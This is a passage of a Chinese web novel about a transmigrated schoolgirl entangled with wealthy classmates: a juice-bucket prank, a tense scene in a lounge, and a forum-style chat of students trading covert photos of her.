在有些环境,这种毛病没什么问题,但是在江家这种家族,父母是强强联合,各自又有许多非婚生子,江赫作为他们结合后的唯一独子,从小被严苛教育,要求被彻底纠正这毛病。 他常年看医生,试过了各种治疗方案,甚至后来,医院开始尝试一些更激进的疗法,让他触碰“脏东西”脱敏。结果适得其反,让这个毛病越来越严重。 最严重的一次,江赫遇到了一起涉及到江家的车祸事故,被父母强制要求代表江家出席,面对满地血污和伤者,他强撑着处理完了整件事,走完了医院流程,最后带着满手黏腻的鲜血回到家,胃里翻江倒海,把一整天吃的东西全部吐了出来。 从那天开始,他不再需要治疗。 不是因为治好,而是他开始学会控制表情。 崔英朗认认真真征询意见,“你觉得的怎么样,才会让他更崩溃。” 安蔓谨慎开口,提了个保守的建议,“不是恶作剧吗,他那种人,随便便倒瓶水在他身上,他就会很生气。” “好。”崔英朗定定地看了她一会,打了个电话,“弄点东西过来,去布置一下。” 他打完电话,等了一会儿,让人布置完毕,拉着安蔓,慢悠悠的离开教学楼,走到了江赫的休息室外。 刚刚江赫和胡智方一起走了进去,商量事物,到现在还没有出来。 崔英朗看了一眼时间,计算一下,觉得再过一会儿就差不多了,拉着安蔓停在了不远处,找了个看戏的角度,微微扯起嘴角,“刚刚我让人布置了一个简单的恶作剧,让人在他门顶上吊一桶水,他肯定不会想到有人这么做。等他出来,你就按下按钮。” 安蔓深吸一口气,觉得整件事都幼稚到顶点,带着崔英朗特有的那种简单粗暴,直接了当但有效的风格,“然后呢。” 崔英朗拿出一个遥控器,一点点塞在安蔓手心,一只手放在她的肩上,低声在她耳边说,“等你按下去,桶里的水就会倒出来。” 说完他突然抬起头,听到什么似的,向前方看去,“啊,出来了。按吧。” 安蔓有点紧张,忍不住临阵脱逃,“这样不好吧。” 咔嚓,休息室的门被人从里打开,门内向外走出两人。 胡智方脸上带着微笑,转身和江赫握手,“今天聊的非常愉快,江级长,等会儿学生会就联系那两个少爷,争取获得一致授权,发一个澄清公告。接下来狂欢日的安排也拜托你了。” 江赫制服笔挺,步伐稳重,脖子以下的皮肤,皆被严严实实的包裹在一尘不染的黑色外套下,手指被手套裹住,和他简单手指碰一下,“好。” “有什么不好的。” 崔英朗的宽大的手掌,忽然包裹住她的手,声音低沉,在耳边轻轻怂恿,他的拇指覆盖在安蔓的手指上,轻轻催促,“不过是2选1的问题,按了,他顶多是生一会儿气。江赫发火有什么可怕的?不按,生气的就是我啊。” 安蔓听到他的声音在耳边起伏,低声诱惑、怂恿,他的手指覆盖在手背,冰冰凉凉,微微施加压力,仿佛某种暗示。 “只要你证明跟我是同一战线,我不仅不会怪你,还会好好保护你,这难道不是一笔很划算的买卖吗?” 安蔓被他的话,怂恿得微微皱眉,她还没有决定要不要再惹江赫。 但是这些一团乱麻的关系僵持这么久,趁现在如果能够捋出一条线,重新推动,也是个好主意…… “按啊。”崔英朗的声音暧昧的在耳边响起,“有我保护你,怕什么。” 安蔓被催的头痛,见两个人要离开门口,食指一动,被包裹在他手心的手指,忍不住轻轻一动。一按下按钮,前方突然响起什么声音。 哗啦! 有什么东西在半空炸开。 湿润润的液体在半空中落下,纷扬洒落。 江赫食指粘上一点,他伸手碾了一下,暗红色的液体,在他指腹的手套上延伸来,黏腻稠浓,头顶被液体浇湿,头发粘在脸颊上,稠密的液体顺着脸 颊留了下来,淌入衣领。 “这是什么。”胡智方慌慌张张,“好恶心,是血吗?” 江赫头脑忽然一阵发昏,脸色冰冷的吓人,胃里翻江倒海,一阵呕吐欲向喉咙上窜。 糟糕的回忆在脑中翻动,他呼吸变得微微急促,鼻翼渗透出冷汗,手指不自觉放在墙上试图抓住什么。 “怎么是血啊,骗子!”不远处传来一阵惊叫,“你有病啊!” 他抬眼往前看,安蔓被人虚虚搂在怀里,她身材纤细,一只手臂横在她的小腹,几乎就被人完全抱在怀里,完全笼罩住,表情惊慌失措。 崔英朗今天第一次真心实意的笑起来,虚虚抱住她,一脸看戏的表情,假惺惺说,“哎呀,不好意思,弄错了。” 安蔓瞪大眼睛,这个神经病!她真的有点烦了,以前还好点,生病后的崔英朗真的脑子有点问题,比起看脸,更需要看医生。 她懒得管他,眼睛直直看向江赫,表情楚楚可怜,略带担忧,“对不起,你还好吗。” 江赫在原地呆立着,脸色雪白雪白,暗红的液体淌入他的脖颈、衣领、发丝,将他大半个身体染红,表情异常糟糕。 他眼皮震颤,喉咙泛起丝丝锈味,手指发冷,胃部筋挛,胸口用力起伏了几下,鼻翼充斥着挥之不去的怪异气味,手指颤动几下,终于忍不住冲向旁边的垃圾桶,吐了。 第50章 第50章明显 50. 胡智方拼命擦脸,把袖子擦红一片,粘稠的液体淌在嘴角,他下意识舔了一口,忍不住咦了一声,“……甜的?” 他顿了一下,顾不得自己,赶紧跑上前查看江赫的情况,“江少爷,你没事吧?” 江赫额角渗出了汗,他单手撑在墙上,喉间抽搐,刺鼻的味道在鼻翼间徘徊,挥之不散,唤醒了他一些十分糟糕的记忆。 他撑在垃圾桶边干呕,中午没有吃饭,吐不出来什么东西,但是喉咙仍然机械性反胃。 领口湿了一片,衬衫和皮肤贴的很近,手指隔着手套仿佛触碰到粘液,那种黏腻恶心感扑了上来,如附骨之疽,“让开。” 胡智方看了一眼远处的安蔓和崔英朗,知道自己是陷入这两位天之骄子的交锋中。 他有点担心,自己不小心见着了江赫的黑历史,会不会被他记恨上。 毕竟这两个人,他一个也惹不起。 他纠结了一下,还是让开了,露出身后的两人。 安蔓和崔英朗贴在一起,十分亲密。 无论是姿态、还是距离,俨然透出一股无需言说的暧昧氛围。 崔英朗鼓了几下掌,笑起来,脸上的表情格外灿烂,就连一直阴郁的眉间都舒展,整个人无比阳光,“哈哈,你证明了自己,真好。” 江赫抬眼,鲜红的液体落在他的睫毛上,染红了眼角,目光缓慢的在两人脸上扫过。 他的目光无比阴冷,仿佛缠绕的绿蛇,在两人脸上爬过,像是要将一切记清楚,忍着恶心,轻柔道,“证明什么?” 安蔓的脸颊应激地抽动一下,一言不发,沉默和他对视,悄悄往崔英朗背后挪了一点。 崔英朗看了她一眼,对她的表现还算满意,抚掌一笑,转而欣赏江赫此刻的表情,“她说要证明自己站在我这边,给我出了个主意,说可以给你泼点东西,惹你发火。你看你现在的表情,怎么不算她成功的证明了自己呢?” “很好。”江赫伸手擦去了眼角的血渍,摘下眼镜,绿眼睛一动不动的看着两人。 他戴着手套的十指微微张开,稍稍活动了一下,又微微屈起。 崔英朗忽然道,“准备好了吗?” 安蔓面无表情:“准备什么。”和江赫打架吗。 “当然是逃跑!”崔英朗拉着她的手,紧紧握住,忽然转头就跑,同时把另一只手上捏着的饮料扔了过去,“别愣着了,跑啊!” 安蔓被他握紧了手,趔趄了一下,被迫跟着他跑了起来! 呼啸而来的风在她耳边擦过,扬起她的长发,两个人在楼梯间迅速的奔跑起来,顺着旋转的楼梯向下跑动。 崔英朗的手掌狂大,五指冰凉,却在奔跑的过程中热了起来,手指将她牢牢握住,握得很紧,一路从楼上跑了下来,跑进了一群刚刚下课的三年级学生中。 一群人被冲开,鸦雀无声定在原地,悄悄看了他们两个交握的手、剧烈的呼吸、还有靠的极近的姿态,面面相觑了一会,几秒钟跑了个干净。 “哈哈!” 崔英朗停下来,脸庞微微发热,大脑微微眩晕,还没站定又笑了,牵着的手被人甩了一下,他并不放开,反而扎得更紧了,俯身问她,“好玩吗?” 安蔓:“……” 老天,真的没人抓他去看病吗,她受不了了! 安蔓用力甩了几下,面无表情,把手从他的掌心挣脱,“为什么要把水换成血!” 崔英朗呵了一声:“不是血。” “?” “是果汁。我上哪去了找那么多血,食堂吗?” “你故意的。”安蔓有点受不了:“你不怕江赫追下来吗?” 崔英朗漫不经心:“不怕,他好面子,肯定不愿意让别人看到他那副样子。” “……” 安蔓:“那你跑什么。” 崔英朗伸手按了按额头,刚刚短暂的奔跑,让他大脑略略晕眩,到现在还没缓解,声音轻轻上扬,有种扭曲的愉悦,“因为我受伤了,现在使不上力,留在那里不是挨打吗!” 【崔英朗好感度+20】 【当前好感:-50】 安蔓面无表情。 她调整呼吸,脸上一点一点变化表情,认清事实,崔英朗这个神经病。 他就是条狗,蠢狗,没有脑子,本能驱动,不适合讲道理。 要让狗听话,不能单纯和他反着来. “崔少爷。” 安蔓调整表情,忽然伸出手,覆盖在他的手背上。 崔英朗的眼神闪烁了一下,脸色惨白,纱布边下眼睛一动不动,直直看向她,扭曲沸腾的笑容滞在脸上。 “现在我应该证明了,我选择站在你这边,对吧?” 安蔓纤细柔软的手指,勾住他的指腹,轻轻摩挲,观察着他的表情,柔声开口,“可以答应我一个请求吗?” 崔英朗眼神忽然变得阴沉,面无表情地看着她缓缓靠近,手指握紧,手背鼓起青筋,可怖非常,“你又想干什么?” 楼底外侧,经过几个学生见到崔英朗,惊叫一声,转身就跑。 崔英朗听到声音,刚要转头看,安蔓已经停在眼前,伸手点在他的眼角。他的身体顿时僵住了,眼睛也暗下来,“你——” 安蔓柔柔说,“只有一个请求,可以吗?” 崔英朗下颚绷紧,嘴角弧度拉平,反手捏住她的手腕,目光讥诮,“我就知道没有好事。你又想要什么?” 安蔓被他握住了手,轻轻挣了挣,没挣脱,便换了一只手抬起,轻轻点在他的唇角,向上一扬,“很简单,我希望你笑一下。” 崔英朗随着她的动作,机械性地拉了拉嘴角,眼皮垂下,眼珠定定看着她。 他身材高大,肌肉饱满,高峻的影子带着倒影将她整个笼罩住,表情近乎可怖,充满压迫感。 他看起来……非常吓人。 崔英朗是运动员体格,还参加过游泳和拳击比赛,刚刚笑起来还好,现在丢下笑容,眼睛死气沉沉,一阵暗涌的戾气。 安蔓指尖抽动一下,脖子微凉。 她忽而低低叹了口气,伸出手,落在他头顶的纱布上,“其实我……我很抱歉。但是我害怕面对你,怕你讨厌 ,所以一直不敢找你。” 崔英朗喉头滚动一下,“是吗?” “是的。” 安蔓力度很强,轻若羽毛,“我想今天……至少证明了这点,我真的是站在你这边的。” 崔英朗嗤笑,她一只手轻轻落在他的纱布上,力度约等于无却,让他感觉下面的伤口都刺挠痒了起来,“又撒谎了。” 崔英朗知道她在骗人。 他被骗了太多次,面对她的这番作态,已经近乎本能般应激。 不久之前,医院休息室里,她还讨好江赫,说他恶心。字字句句,历历在目。 转眼间,又畏惧他的报复,选择站在他那边一起整蛊江赫。 她好像不论对谁都是这样,忽冷忽热,让人心脏难堪。 安蔓轻轻摇头,“我这次没有撒谎。而且。”手指落在他的脸颊上,“我也不觉得你这样丑,我一直很喜欢你的长相,崔少爷。” 崔英朗打定注意,不去相信这个恶毒的女人:“即使破相也喜欢?” 安蔓:“……是的,即使破相也喜欢。”脸上表情专注而认真,“但我相信,你的伤口一定会恢复如初,变回从前那副英俊的长相。” “我不相信你,小老鼠,但是无所谓了。” 崔英朗眼睛直勾勾地看着她,瞳孔里暗潮涌动,“装,可以,给我好好装。” “我不——”安蔓表情黯然。 “别被我发现把柄。” 崔英朗阴森森开口,手指按在她的脖颈上,“不然我把你和江赫一起收拾了。” 安蔓眼睛颤动,敏感的地方被人按住,冷的她轻轻哆嗦,“我知道了,我会用行动表明。” 可恶,怎么现在变得这么难骗了! 不仅对她的甜言蜜语,产生了抗体,还反过来威胁她,太可恨了。 “安同学。”旁边忽然传来一道成熟的男声,“需要帮助吗?” 安蔓微微侧头,不远处的走廊尽头一角,一个显眼的身影缓步走来。 他红发绿眼,穿着全套的西装制服,戴着眼镜,气质沉稳儒雅,径自停到不远处,目光落在崔英朗的手上。 “你还好吧?” 安蔓急切摇头,目光求助,“英先生,我没事。” “如果有事,你可以随时找我。” 英鸿祯礼貌地点了点头,却没有走,反而在原地站定了,“正好有件事,我要找你,你的成绩阅出来了。” 他说完一句之后,止了口,不再说下去,而是看向旁边的崔英朗,眼中一股催促之意,含蓄道,“这种事,比较适合我们单独说。” 崔英朗收回手,对他上下打量,“你是谁?” 英鸿祯稳重,略一鞠身,姿态十分好看,脸上也带了一点很淡的笑容,“无名小卒。” 崔英朗双手抱胸,上下打量他,“不像,有点眼熟。” 英鸿祯轻轻颔首,仿佛对言语中的交锋一无所知,“大概是哪里见过吧。” 受伤后的崔英朗太难缠了,也太难糊弄。 安蔓正想找机会把他甩开,省得被鬼似地缠住,见此情形,连忙拉了一下崔英朗的手:“你先走吧,我都做了这种事了,还不能证明我的立场吗?” 崔英朗笑容恶劣,嘴角轻轻一扯,“不走,你们当着我的面说。” 安蔓吸了一口气,蹙了蹙眉,无奈地对英鸿祯摇头,“抱歉,让他一起听吧,我的事他都可以听。干脆两位送我回寝室吧,在路上顺便聊聊这些事。”. 最后情形变成了三个人一起走,安蔓夹在中间,崔英朗表情不愉,浑身充斥低气压,“你叫什么来着?先自我介绍一下吧。” 英鸿祯红发鲜艳,五官英挺,锐气十足,仿佛对他话里的刺毫无察觉,极其自然的开口,“安蔓同学,我叫英鸿祯,也是德川毕业生,只长你几岁,可以算你学长。” 安蔓自动忽视崔英朗,他的目光令人如芒在背,她硬着头皮露出一个笑容,“英学长。” 英鸿祯客客气气地应了,脸上露出一个淡淡的笑容,“安蔓同学,你的成绩是合格的,复核后,明天德川的官网会发公告。” 他说完了,轻轻一顿,接着往下说,“但是,按照学校的规定,除了这个外,在稍后的时间里,学校会会举行公投,等过了公投你才能确定留下。” 安蔓也知道这件事,感激道,“好的。” 崔英朗冷眼看着他们相谈甚欢,脸上的表情不由自主更加嘲讽,刚想开口,谁知道电话响了。 他接起来一听,眉头拧成川字,见差不多送到寝室了,脚步停下,“我先走了,你记住我跟你说的话。” 安蔓终于要摆脱这个疯子,脸上差点露出灿烂笑容,依依不舍道,“那只能明天见了。” “明天见不到,我要去医院复查一下,这两天没有空,等狂欢日再见。到时候再给你一个惊喜。” 崔英朗笑容满面,让人一看就知道不是什么好事,“再见。” “再见。”安蔓依依不舍地把人送走,直到人走远,才收回目光。 在这期间,英鸿祯一直目光专注的看着她,一句不问,反而开口提议,“狂欢日就是个提升名望的好机会。你打算在这个时间,提升其它人的好感吗?” 安蔓脸上的依依不舍变淡,顺势问,“英先生,狂欢日还能这么用吗?” 她对英鸿祯这个莫名其妙,凑上来又十分热情,各方面条件显著出色的人没什么好感,相反十分警惕。 她摸不透对方在想什么。 英鸿祯的表情带了一点点无奈,“都说了,叫我学长就好。你只度过了一年,可能不太了解,狂欢日,又叫恶作剧之夜。” 然后为安蔓解释了一下,德川的狂欢夜,是一个极为特殊的日子,所有人带着不同样式的面具、斗篷,在这个夜晚,可以为所欲为,付出任何没有底线的恶作剧——只要不被认出来。 面具相当于匿名,当然也能什么都不戴, “在那天,所有人会戴着面具,斗篷。用自己的方式庆祝。如果玩的出彩的话,会非常引人注目,是很好的提升名望的机会。” 英鸿祯口风一转,“不过,如果你没有那个打算的话,应该好好待在宿舍,不要出门,省得被波及。” 安蔓略略警觉,没有给予答复,而是突然想起了另一件事,“我现在可以换寝室吗?” 英鸿祯在监理办公室,见证了她换办公室的请求,也是他提出换到特招生寝室,他问道,“你想回到你原来的寝室吗?” 安蔓点头:“是的。” “恐怕不能。”英鸿祯说,“你原来的寝室是在a级公寓,周围都是家境非常优渥的那类人。你现在回到那里,德不配位,受到欺凌。” 安蔓被送到特招生寝室门口,英鸿祯站定脚步,彬彬有礼的伸出一只手,和她告别,“除非你有方法提升地位……到了。” 安蔓并不想这个时候回去,但他的姿态,似乎是想等她进去才离开。他一路目送,姿态目光都谦和有礼,一直等她的背影消失在视野,才不再感觉到那道目光。 英鸿祯给她的感觉,真的很不不舒服! 对方让她升起一种由衷的警惕感,他的姿态语气礼貌而谦和,但其中透着一种不协感,让她格外排斥. 安蔓停住了脚步,她发现自己不知不觉,在寝室门口停下。 寝室大门敞开,里面传来隐隐的说话声。她往里一看,出乎意料的是,此刻里面正好5人,四个舍友围着一个黑发黑眼的陌生女生,在一边嬉笑。 “灵秋,你终于回来了。” “好想你啊。” “你住院这段时间发生了很多事!” 几人热切聊着天,姿态亲亲密密热烈无比。 忽然有个舍友抬眼,不经意看下门外,顿时在原地呆愣住,干巴巴的开口,“安、安蔓,你也回来了。” 这个舍友的表情变得很不安,气氛霎时间时间变得有些怪异,这些人都知道两个人之间的恩怨,另外一个舍友呐呐道,“安蔓,你怎么这时候回来 ……” 寂静中,黑发女生抬起头,安静地看看她一眼。她面色柔和,目光清秀,眼神却很锐利。 作为原著里心狠手辣、手段狠绝的复仇戏女主,她看起来出乎意料的柔和,笑着接话,“你好,我也很想知道最近发生了什么事,给我讲讲吗?” 安蔓:“…………” 老天啊,她真的受不了!怎么刚好撞上。 她干巴巴道,“我准备换寝室了,跟你们说一声。” 室友们讪讪开口,“是这样吗……” “恭喜恭喜,看来接下来也没什么问题了。” “需要帮忙请随时开口。” “是啊是啊……” 安蔓点了点头,身体僵硬,缓缓转过头。 在被原主坑害过的复仇文女主,堪称直白的眼神里,她动作迟缓地转过身,向外走。 安蔓对系统说,“其实我不是怂,我主要是怕她拿刀捅我。” 系统嗯嗯了几声,“没关系的,我也害怕。” 安蔓愤怒:“废物,你还好意思跟我说没关系!” 系统委屈了:“那你还想让我怎么样啊!你不是说你要搞她吗?” 安蔓:“那能怎么办,我都接受原主的身份了,她的恩怨不也得的一并收了吗,人家之前是受害者,总不能我现在去搞掉她。一切都怪你,废物!为什么不能给我弄点简单的身份!” 系统挨骂了,默默闭嘴,不再吱声了。 安蔓挠了挠头,对这种复杂的关系有点头疼,转头快步向外走去,英鸿祯此刻已经离开,她快步向教学楼方向走,嘟囔道,“希望江赫那里还能拯救一下。” 她按照来时的记忆,加快了脚步,走到楼底,刚准备上楼的时候,差点和另一个男生撞到,连忙停住脚步,“胡智方。” 胡智方手里抱着一个防尘袋,里面装着一件衣服,对她露出了一个笑容,“安蔓小姐,你好。” 安蔓目光落在他的手上,眉毛挑了一下,“你这是。” 胡智方:“这是我为江少爷拿的换洗衣物。” 他也想到了刚刚的事情,笑容更苦了,他意外见证到了这种微妙的事情,简直是倒霉透顶,只能顶着一头腥味十足的果汁。找了个地方简单清理,然后替江赫拿替换的衣物,只希望对方对他不要留意他。 他看着安蔓,从前对她确实有点心思,直到现在心里还有一点。但时至今日,不得不承认,她是一个超级大麻烦。 安蔓无视了他的表情,目光落在他手上的衣服上,眼睛转了转,“我帮你送进去。” “抱歉,这件事我不能答应。”胡智方说。 安蔓懒得管他,随便找了个理由,使唤他,“你应该也看过崔少爷的微博吧,既然看过,就别拦我。我是江赫女朋友,我现在就要见他,解释刚刚的事情。” 她狐假虎威,随便威胁了几句,又编了一些借口,总算把对方说服,见他表情还是有点勉强,又给他找了个事。 “东西给我,顺帮我个忙,我要换寝室,你去找人把我的东西搬回以前的宿舍。”. 终于把人打发走之后,安蔓抱着防尘袋,站在江赫的休息室门口,推开了门,走了进去。 里面的装饰没有改变。灰暗色调的主空间,旁边摆着书桌,软椅,沙发,冰冷的皮质沙发,天花板上黄铜色的拱形吊灯垂下,将书柜里塞的满满当当的书映照分明。 内没有开暖气,一股拒人于千里之外的冷硬氛围,和这里的主人一样不近人情。 不远处的浴室内,哗啦啦响起了水声,磨砂玻璃门,映照着一个隐隐绰绰、不甚清晰的影子。 是个做坏事的好机会。 安蔓伸手提着防尘袋,慢悠悠地转到江赫的书桌上,上面井井有条,一尘不染,放了几本专业书,旁边则是一些笔记。她顺手翻了一下,在底下发现了一个档案袋,里面写着名字:安蔓。 可恶,江赫你小子平时一本正经,装的不动如山,背后偷偷调查人! 她略带惊诧,哼了一声,伸手抽出档案袋,将它打开,把里面的文件抽出来,仔细一看:上面记载着原主的年龄、背景,学业经历,参加过哪些考试,以往的经历,还有家庭环境。 父亲是小超市的老板,母亲是家庭主妇,两个人于半年前在车祸中丧生,为原主留下了一笔足够她生活到大学毕业的遗产。背后甚至附了两张照片,安蔓拿起来的时候,照片刚好掉在地上。 她扫了一眼,眼睛顿时定在照片上:原主居然连父母,也跟她的十分相似。 这种程度的相似,让她倍感诡异。 “胡智方。”江赫的声音忽然从浴室响起。 安蔓顾不得诧异,手忙脚乱地把照片往档案袋里塞,掐着嗓子回复了一句,“嗯。” 里面的声音顿了一下,在清晰的水声里显得模糊不清。“把衣服放在外面就行。” “好!”安蔓卡着嗓子,嗯了一声,快手把资料全部塞了回去,塞的时候因为用力过猛不小心把旁边的绿盒子撞开,里面掉出来一小块与周围格格不入的彩色包装袋。 她拿起来一看,忍不住挑了挑眉。 ——那是一块非常眼熟的巧克力饼干。 江赫关掉了花洒,扯下一块毛巾,擦了擦头发,他已经冲洗了很久,用力搓洗,漱了五遍口,仍然感觉那种黏腻感,残留在他的脸颊,脖子,甚至手心上挥之不去,倍感厌恶。 把换下来的衣服扔进垃圾,他扯出一条浴巾裹住身体,打开浴室门走了出去。 江赫赤裸着上身,皮肤白如石膏,赤足踩上地面,清晰的沟壑随着他的呼吸上下起伏,他没戴眼镜,英俊的轮廓在雾气中更加清晰,绿松石一样的眼睛极具攻击性,忽然顿住脚步,“你怎么在那?” 不远处,安蔓面带微笑,坐在了他的书桌,她穿着大衣,大衣下是一条淡绿色的裙子,两条白皙的小腿悬在桌上,微微晃动。 原本井井有条的桌上,斜放着一个档案袋,一个打开的盒子,还有装着衣服的防尘袋。 她手里握着一块饼干,“哎呀,江级长,原来你喜欢这个,怎么不早说啊。” 江赫眉间拧起,他的皮肤接触到冷空气,裸露出来的肌肉,因为用力搓洗,泛起淡淡粉红,“下来。” 安蔓像是握住了什么把柄,拉长了声音,笑眯眯开口,“不下来,不如我们来讨论讨论这个饼干吧,我上次吃还是在医院呢,一吃就爱上了这个口味。” “衣服给我。”江赫没心情和她说话,快步走上前,伸手就要拿起衣服。 谁知道安蔓动作更快,一见他要过来,立刻拎起防尘袋往后放,笑眯眯威胁,“不给,你要是再抢,我就从窗户上扔下去。” 她坐在办公桌上,欣赏江赫现在的样子,心里甚至滋生起更邪恶的念头,觉得真的扔下去也不错,甚至认真考虑起来。 赤裸的江赫更有欣赏价值,他现在就像个敞开的肉蚌,大大削弱了平时的攻击性,露出了毫无防备的皮肉。 “给我。”江赫没工夫废话,伸手就要抢,安蔓一点也不含糊,当真拎起了衣服,就往外面甩。 因为用力过度,衣服在空中划过一个曲线,直接穿过窗户,掉了下去,不到一秒内,外面就传来什么东西啪嗒落地的声音。 安蔓:“……不怪我,刚刚没瞄准窗户,我不小心扔错方向。” “……” 江赫站在原地,手指按在浴巾上,什么话都没有说,额头已经开始突突的跳了起来。前所未有的荒谬和好笑感,在挑战他二十一年阅历,荒谬好笑之后是席卷而 来的怒火。 “安蔓!” “到。” 安蔓举手,表情有些讪讪,随后又理直气壮起来,“我真的不是故意的,你就原谅我吧。这样吧,你说几句好听的,我等会帮你捡起来。” 江赫指尖按住太阳穴,连着脖子的青筋开始突突的跳了起来,他的表情非常阴冷,绿眼睛里刺出目光几乎恶毒,“为什么又是你!” 安蔓很无辜:“我什么都没做啊,刚才是不小心的。” 江赫心脏迅速的跳动起来,呼吸变得急促,脖颈因为愤怒也泛起淡红。 他现在一看到对方,就想起满眼的鲜红粘液,还有那种皮肤上怪异恶心的黏腻感,让他几乎想回去再洗一遍,“你到底想干什么?” 安蔓一本正经,“我什么都不想干,我只是想聊聊天呀,解释一下刚才的事情。” 江赫按着浴巾,竭力保持冷静,目光冰冷如刀,如果有实体,已经将她活剐了千刀万次,“你想解释什么。” 安蔓却又不着急了,慢吞吞地玩着手里的饼干,小腿在周边一晃一晃,“我们好久没见面了,不要这么紧张嘛,我们好好聊聊天好吗?” “好啊。”江赫靠近了,目光充满恶意。 他感觉到恶心,反胃。 让他反胃的,除了刚才那些血,还有那场混乱的梦。梦里对方穿着绿色短裙,露出一张居高临下的脸,笑眯眯地玩弄他。 恶心,混乱,这种颠倒错乱的欲望,让他打从心里的反胃,他不该对这种人有除了厌恶之外的任何情绪。 一切都错了,理应及时纠正,回到正轨。 安蔓晃动小腿,故意让膝盖轻轻触碰到对方。 目不转睛地看着他。 她的目光太直白了,太直接了,让人甚至有种微妙的耻辱感。 安蔓伸手,把手放在他脸上,看着他冷冰冰的表情,厌烦的神态,“那你真是一点都不喜欢吗?” “我可是从来都是一心一意,选择你。喜欢你的。” “你不是讨厌我吗?”江赫厌恶说。 安蔓面不改色,“那没有,乱讲,我明明一直选择你,一直在你身边。” 她笑容满面。 “我发现了,这里有好多绿色的东西,你真的很喜欢绿色。” “因为你的眼睛吗?” “那喜欢我发给你的裙子吗?” 江赫面无表情,表情冷漠,他骨子里好强,自律,也有骄傲自负的资本。 那种痛苦难耐的焦渴,让他难以忍受,难以接受,这个人还在他面前喋喋不休, “喜欢的话,下次穿给你看。” 安蔓鞋尖抵着他的小腿, “都遮不住了。” 50-60 第51章 论坛体番外慎买,是番外,不计入正文…… (k-狩猎-匿名聊天群):[大家对校花粉丝站更名笑话大全,又更名为校花个人站怎么看?]- [何故前倨而后恭?]- [到底谁在运营这么无聊的东西。]- [以前不知道,现在好像是被人买下来了,应该是个有钱有闲无聊透顶的大少爷吧~]- [讲个笑话,这里有谁是没钱的?]- [不要岔开话题。]- [其实,我更想问大家对C的动态怎么看,这已经不能用失心疯来解释了,C少爷到底为什么对校花那么执着啊,理解不了,还有J,还有S。你们谁见过校花的,能告诉我原因吗?]- [见过就知道了。]- [不好形容,非常奇妙。]- [多奇妙,让我看看?]- [不是,我不就旅游了一个月,回来哪儿那么多莫名其妙的事,有没人跟我解释解释,校花是谁?]- [上面更是重量级。]- [你不说一个月我都没有反应过来。]- [一个月不至于,我去雪山度假了半个月,回来也跟不上时代了,到底什么情况。校花是谁。]- [是笑话。]- [上面发言的那个滚出去。]- [校花是今天的女主人公。)]- [是女的。]- [你也滚。]- [她是狩猎对象。]- [她很可爱。]- [风纪会今年的祭品。]- [是猎物。]- [校花就是校花呀~]- [这是什么黑称吗?我真的搞不懂。有照片吗?]- [+1,再问一次,有照片吗。]- [有吗,想看。]- [有好心人吗?有照片吗?]- [有。]- [有。]- [有。]- [有。] ……- [有。]- [我来告诉你原因[贴图]] 几个闲的荒的大少爷,就着今天崔英朗“宣战”的热点,在匿名群有一搭没一搭地划水。 忽然来个愣头青,冒出来问了个八竿子打不着的问题,却一下子把匿名群的热情点燃,有人一连甩出了三张图。 第一张,一个女生坐在教室里,背对着镜头,黑发挽起,脊背挺直,她微微低着头,侧脸在飘扬的白色纱窗中若隐若现。 第二张,她坐在食堂,周围是穿着灰色校服的特招生,她捏着白瓷调羹,正在喝一碗粥。 第三张,她穿着朴素,在薄雾朦胧的清晨,身边跟着一个被人虚化的男生,并肩行走在苍翠的树下,身形纤细轻盈- [好看。]- [不错。]- [就这?]- [还行吧。]- [不如我拍的。]- [看得出来长的挺好的,但是,正脸图呢?]- [怎么全是背影,侧脸,模糊不清的烂图。]- [这谁拍的?把他踢出去,就这种技术这种照片还好意思出来丢人现眼。]- [拍的挺有氛围感的(贬义)。]- [这是在干嘛?给人看空气吗。]- [别插科打诨了,你们无不无聊。说正事,有其它的吗,就这个,一点都看不清楚。]- [看不清楚。]- [有谁有更清晰的照片吗?]- [我有。] 群里,突然又有人,甩出几张照片。 这次照片的数量,比起上一个人翻了好几倍。背景也更加丰富。 照片里的主人公是同一个女生,她出现在校门口,低头和人说话。 她出现在教室,在走廊,在宿舍,在楼梯间,她站在马场边,伸手推开门。 她穿着如云如雾的红色纱裙出现在奢华的宴会和喧闹的人群中。仿佛是注意到什么,女生对着相机的方向微微侧头,露出半张白皙的侧脸和冷淡的眼神。 最后一张动态感十足,镜头不太清晰,看得出来是抓拍,将被拍人的动作,神态,还有表情,照的一清二楚。让人几乎能够代入偷拍人心情,既想让她发现,又不想让她知道。 最后只能在她敏锐投过来的视线中,稍稍后退,躲在一边,避开视线,握住镜头的手跟着晃动。 所有的照片明显都是偷拍,每个场景都不同,唯一相同的只有拍摄者视觉和镜头凝视的主角。 看照片的人,跟随着镜头,一起凝视照片的主人,放轻了呼吸,注视她苍白的嘴唇和没有血色的脸- [?]- [这是在干什么,你是什么痴汉吗,好变态……]- [代理社长在不在?赶紧把他踢出去,有变态。]- [有本事把保存照片的人全部踢出去。]- [大家是不是跑题了,你们还记得这是什么群吗。]- [这不是在聊校花吗。校花就是猎物,我看你们都忘了。]- [没办法,太久没开张了,真无聊。不过现在谁敢对她出手,不怕被C少爷打成傻子就上。]- [她一直是,不过她太腥风血雨了,走到哪里哪里都有一堆事故,太反常规了,所以大家基本上都忘记了。]- [她确实是,我向人打听过了,她今天上午才考了试,成绩是合格的,明天就向外公布。这样一来就只差一次公投,她就能脱离猎物身份了。]- [“只?”,说的好像很容易一样,走到这一步的猎物也不是没有,说到底,又有哪位人物真的通过了 公投的?]- [公投之前,她的身份只是猎物。公投之后……等她通过了再说吧。]- [真的挺难的,啧啧,换我去我都没把握通过。如果她真的没有通过,我会觉得可惜。]- [一群胆小鬼。]- [不是还有狂欢日吗,狂欢日好好玩一下吧。]- [C少爷再狂,J再严肃,也不可能出手干扰狂欢之夜的正常进程。]- [你提醒我了,恶作剧之夜里,猎物可是不允许戴面具的~]- [有意思。]- [有人还记得去年狂欢日发生了什么吗?]- [我记得大家还挺疯的,那天张校长倒霉,本来已经出学校了,突然想起来有东西忘取回去了,结果正好被大家堵在办公室里,绑住手脚,撕了衣服,押在滑椅上涂成猪头游街。]- [还是监理聪明,那天中午就全部请假跑了,办公室里一个不剩。]- [有几个隔壁校的也想一起来玩,还想装模作样的混入我们,结果被大家认出来玩惨了,被骗光衣服,不剩一件地跑了。]- [许市那个脑残去年还带着猎物去捉迷藏,最后把人逼跳河了,老半天不敢出来,大冷天的,差点没把人淹死。]- [这个是真有病,怎么想的敢对C出手,现在好了,唱铁窗泪了,连爹妈都一起卷铺盖了。]- [一手遮天呀C少爷~那也没办法妨碍我狂欢日出手。]- [公投大家怎么想的,除了那几位,还有还有谁有票?]- [谁来把上面的叉出去。]- 